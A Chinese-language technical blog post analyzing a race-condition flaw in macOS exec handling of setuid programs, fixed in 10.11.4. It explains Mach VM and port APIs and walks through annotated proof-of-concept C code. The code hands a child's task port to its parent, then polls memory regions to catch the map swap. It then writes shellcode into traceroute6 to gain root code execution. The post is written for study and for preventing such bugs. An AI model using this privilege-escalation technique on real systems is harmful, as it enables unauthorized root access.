靈犀一指可攻可守,進攻時也是一指,是天下第一指法,與移花接玉這個天下第一掌法同樣都是非兵刃的第一絕技
—陸小鳳傳奇
最近的10.11.4補丁修復了一個利用條件競爭獲得代碼執行權限的漏洞,經過對內核源碼以及poc的理解之后,先對問題作出一個簡單的分析。
我在OSX內核加載mach-o流程分析中比較詳細的分析了exec
整個執行流程中比較重要的幾個函數,這個是比較精簡的一個流程圖。
Mach
提供了一種用戶層對虛擬內存的操作方式。一系列對vm_map_t
作出操作的API
可以對虛擬內存作出很多操作。這里的vm_map_t
就是PORT
。
這一系列的API有很多,這里只是簡單的介紹一下POC中會使用到的API。
#!c
mach_vm_allocate(vm_map_t map,mach_vm_address_t *address,mach_vm_size_t size,int flags);
在map
中分配size
個字節大小的內存,根據flags
的不同會有不同的處理方式。address
是一個I/O
的參數(例如:獲取分配后的內存大小)。
如果flags
的值不是VM_FLAGS_ANYWHERE
,那么內存將被分配到address
指向的地址。
#!c
kern_return_t
mach_vm_region(
vm_map_t map,
mach_vm_offset_t *address, /* IN/OUT */
mach_vm_size_t *size, /* OUT */
vm_region_flavor_t flavor, /* IN */
vm_region_info_t info, /* OUT */
mach_msg_type_number_t *count, /* IN/OUT */
mach_port_t *object_name) /* OUT */
獲取map
指向的任務內,address
地址起始的VM region(虛擬內存區域)的信息。目前標記為flavor
只有VM_BASIC_INFO_64
。
獲得的info的數據結構如下。
#!c
struct vm_region_basic_info_64 {
vm_prot_t protection;
vm_prot_t max_protection;
vm_inherit_t inheritance;
boolean_t shared;
boolean_t reserved;
memory_object_offset_t offset;
vm_behavior_t behavior;
unsigned short user_wired_count;
};
#!c
kern_return_t
mach_vm_protect(
mach_port_name_t task,
mach_vm_address_t address,
mach_vm_size_t size,
boolean_t set_maximum,
vm_prot_t new_protection)
對address
到address+size
這一段的內存設置內存保護策略,new_protection
就是最后設置成為的保護機制。
#!c
kern_return_t
mach_vm_write(
vm_map_t map,
mach_vm_address_t address,
pointer_t data,
__unused mach_msg_type_number_t size)
對address
指向的內存改寫內容。
Ports
是一種Mach
提供的task
之間相互交互的機制,通過Ports
可以完成類似進程間通信的行為。每個Ports
都會有自己的權限。
#!c
#define MACH_PORT_RIGHT_SEND ((mach_port_right_t) 0)
#define MACH_PORT_RIGHT_RECEIVE ((mach_port_right_t) 1)
#define MACH_PORT_RIGHT_SEND_ONCE ((mach_port_right_t) 2)
#define MACH_PORT_RIGHT_PORT_SET ((mach_port_right_t) 3)
#define MACH_PORT_RIGHT_DEAD_NAME ((mach_port_right_t) 4)
#define MACH_PORT_RIGHT_LABELH ((mach_port_right_t) 5)
#define MACH_PORT_RIGHT_NUMBER ((mach_port_right_t) 6)
Ports
可以在不同的task
之間傳遞,通過傳遞可以賦予其他task
對ports
的操作權限。例如POC中使用的就是在父進程與子進程之間傳遞Port
得到了對內存操作的權限。
在內核處理setuid的程序時存在一個時間窗口,通過這個時間窗口,在進程Port
被關閉之前,擁有進程Port
的程序可以改寫目標進程的任意內存,通過改寫內存可以利用目標進程的root權限執行任意的shellcode。
在swap_task_map以及exec_handle_suid之間有一個時間窗口,task port還是可以對內存做出修改的。
具體細節可以參考poc,同時也可以參考源碼的分析日志。
?時間窗口打開的時機對編寫poc非常重要,因為在調用exec之后整個行為都是內核控制的,沒有什么直接的辦法獲取時間窗口,poc中提供的方法是通過不斷的調用mach_vm_region
,當窗口出現時,也就是從old_map切換到new_map時,mach_vm_region
函數獲取的address應該是不同的。具體實現在下面的poc源碼分析中會提到。
?在得到窗口打開的時機之后通過上面提到的port以及mach_vm_*的一系列函數就可以做到對目標進程的任意寫操作,從而寫入shellcode。
?shellcode要寫在什么地方才會被執行呢?
?通過對traceroute6的分析,可以看到__text的地址偏移是0x153c,所以通過對該地址的內存改寫,可以使得shellcode得到執行。
#!c
int main() {
kern_return_t err;
// register a name with launchd
mach_port_t bootstrap_port;
err = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
if (err != KERN_SUCCESS) {
mach_error("can't get bootstrap port", err);
return 1;
}
//創建一個具有接受消息權限的port
mach_port_t service_port;
err = mach_port_allocate(mach_task_self(),
MACH_PORT_RIGHT_RECEIVE,
&service_port);
if (err != KERN_SUCCESS) {
mach_error("can't allocate service port", err);
return 1;
}
//為port添加SEND權限
err = mach_port_insert_right(mach_task_self(),
service_port,
service_port,
MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
mach_error("can't insert make send right", err);
return 1;
}
//
// 注冊一個全局的Port
// 之后的子進程會繼承這個port
err = bootstrap_register(bootstrap_port, service_name, service_port);
if (err != KERN_SUCCESS) {
mach_error("can't register service port", err);
return 1;
}
printf("[+] registered service \"%s\" with launchd to receive child thread port\n", service_name);
// fork a child
pid_t child_pid = fork();
if (child_pid == 0) {
do_child();
} else {
do_parent(service_port);
int status;
wait(&status);
}
return 0;
}
main函數在建立了port之后之后fork出子程序,開始做各自做的事情。
#!c
void do_child() {
kern_return_t err;
//查找全局的port
mach_port_t bootstrap_port;
err = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
if (err != KERN_SUCCESS) {
mach_error("child can't get bootstrap port", err);
return;
}
mach_port_t service_port;
err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if (err != KERN_SUCCESS) {
mach_error("child can't get service port", err);
return;
}
// create a reply port:
// 創建一個具有接受消息權限的port
mach_port_t reply_port;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
if (err != KERN_SUCCESS) {
mach_error("child unable to allocate reply port", err);
return;
}
// send it our task port
// 將子進程的port發送給父進程
task_msg_send_t msg = {0};
msg.header.msgh_size = sizeof(msg);
msg.header.msgh_local_port = reply_port;
msg.header.msgh_remote_port = service_port;
msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX;
msg.body.msgh_descriptor_count = 1;
msg.port.name = mach_task_self();
msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
msg.port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg_send(&msg.header);
if (err != KERN_SUCCESS) {
mach_error("child unable to send thread port message", err);
return;
}
// wait for a reply to ack that the other end got our thread port
// 等待父進程回復
ack_msg_recv_t reply = {0};
err = mach_msg(&reply.header, MACH_RCV_MSG, 0, sizeof(reply), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
mach_error("child unable to receive ack", err);
return;
}
// exec the suid-root binary
// 執行setuid的程序traceroute6
char* argv[] = {suid_binary_path, "-w", "rofl", NULL};
char* envp[] = {NULL};
execve(suid_binary_path, argv, envp);
}
子進程做的事情也非常的簡單,將自己的port發送給父進程,確保父進程已經獲取到port之后,執行setuid的程序,poc中使用的是traceroute6。
#!c
void do_parent(mach_port_t service_port) {
kern_return_t err;
// generate the page we want to write into the child:
// 申請一頁內存,并且會將這一頁內存寫入子進程
mach_vm_address_t addr = 0;
err = mach_vm_allocate(mach_task_self(),
&addr,
4096,
VM_FLAGS_ANYWHERE);
if (err != KERN_SUCCESS) {
mach_error("failed to mach_vm_allocate memory", err);
return;
}
//將0x153c處的寫入shellcode
FILE* f = fopen(suid_binary_path, "r");
fseek(f, 0x1000, SEEK_SET);
fread((char*)addr, 0x1000, 1, f);
fclose(f);
memcpy(((char*)addr)+0x53c, shellcode, sizeof(shellcode));
// wait to get the child's task port on the service port:
// 等待子進程發送過來的port
task_msg_recv_t msg = {0};
err = mach_msg(&msg.header,
MACH_RCV_MSG,
0,
sizeof(msg),
service_port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
mach_error("error receiving service message", err);
return;
}
mach_port_t target_task_port = msg.port.name;
// before we ack the task port message to signal that the other process should execve the suid
// binary get the lowest mapped address:
// 立刻獲取內存的信息
struct vm_region_basic_info_64 region;
mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64;
memory_object_name_t object_name = MACH_PORT_NULL; /* unused */
mach_vm_size_t target_first_size = 0x1000;
mach_vm_address_t original_first_addr = 0x0;
err = mach_vm_region(target_task_port,
&original_first_addr,
&target_first_size,
VM_REGION_BASIC_INFO_64,
(vm_region_info_t)®ion,
®ion_count,
&object_name);
if (err != KERN_SUCCESS) {
mach_error("unable to get first mach_vm_region for target process\n", err);
return;
}
printf("[+] looks like the target processes lowest mapping is at %zx prior to execve\n", original_first_addr);
// send an ack message to the reply port indicating that we have the thread port
ack_msg_send_t ack = {0};
mach_msg_type_name_t reply_port_rights = MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits);
ack.header.msgh_bits = MACH_MSGH_BITS(reply_port_rights, 0);
ack.header.msgh_size = sizeof(ack);
ack.header.msgh_local_port = MACH_PORT_NULL;
ack.header.msgh_remote_port = msg.header.msgh_remote_port;
ack.header.msgh_bits = MACH_MSGH_BITS(reply_port_rights, 0); // use the same rights we got
err = mach_msg_send(&ack.header);
if (err != KERN_SUCCESS) {
mach_error("parent failed sending ack", err);
return;
}
mach_vm_address_t target_first_addr = 0x0;
for (;;) {
// wait until we see that the map has been swapped and the binary is loaded into it:
// 不斷的循環去獲取內存的信息
region_count = VM_REGION_BASIC_INFO_COUNT_64;
object_name = MACH_PORT_NULL; /* unused */
target_first_size = 0x1000;
target_first_addr = 0x0;
err = mach_vm_region(target_task_port,
&target_first_addr,
&target_first_size,
VM_REGION_BASIC_INFO_64,
(vm_region_info_t)®ion,
®ion_count,
&object_name);
if (target_first_addr != original_first_addr && target_first_addr < 0x200000000) {
// the first address has changed implying that the map was swapped
// let's try to win the race
// 當發現獲取到的內存信息與之前的不同
// 說明競爭的窗口打開了
// 可以嘗試去寫入shellcode了
break;
}
}
//寫入shellcode
mach_vm_address_t target_addr = target_first_addr + 0x1000;
mach_msg_type_number_t target_size = 0x1000;
mach_vm_protect(target_task_port, target_addr, target_size, 0, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE);
mach_vm_write(target_task_port, target_addr, addr, target_size);
printf("hopefully overwrote some code in the target...\n");
printf("the target first addr changed to %zx\n", target_first_addr);
//子進程窗口關閉后內存已經被改寫,正常執行到entry時,將執行shellcode。
}
父進程的行為比較復雜:
?通過梳理poc與內核源碼后,在了解了execv
函數一系列的執行流程,已經內核的一系列內存操作的工具函數之后,這個漏洞其實就是一個簡單的邏輯漏洞,通過一個舊的port可以在port被關閉前,任意改寫進程的內存地址,當目標進程碰巧是setuid的進程時,就具有了root權限執行任意代碼的能力。
?通過poc的分析,應該學習鞏固的知識如下:
?充分理解poc的原理后,可以進一步對這個漏洞的Exploit to get kernel code execution做出更詳細的分析,從而反思與總結,如何在開發中預防這種漏洞的產生以及如何通過測試或者代碼審計的手段發現類似的漏洞。
ps:
這是我的學習分享博客http://turingh.github.io/
歡迎大家來探討,不足之處還請指正。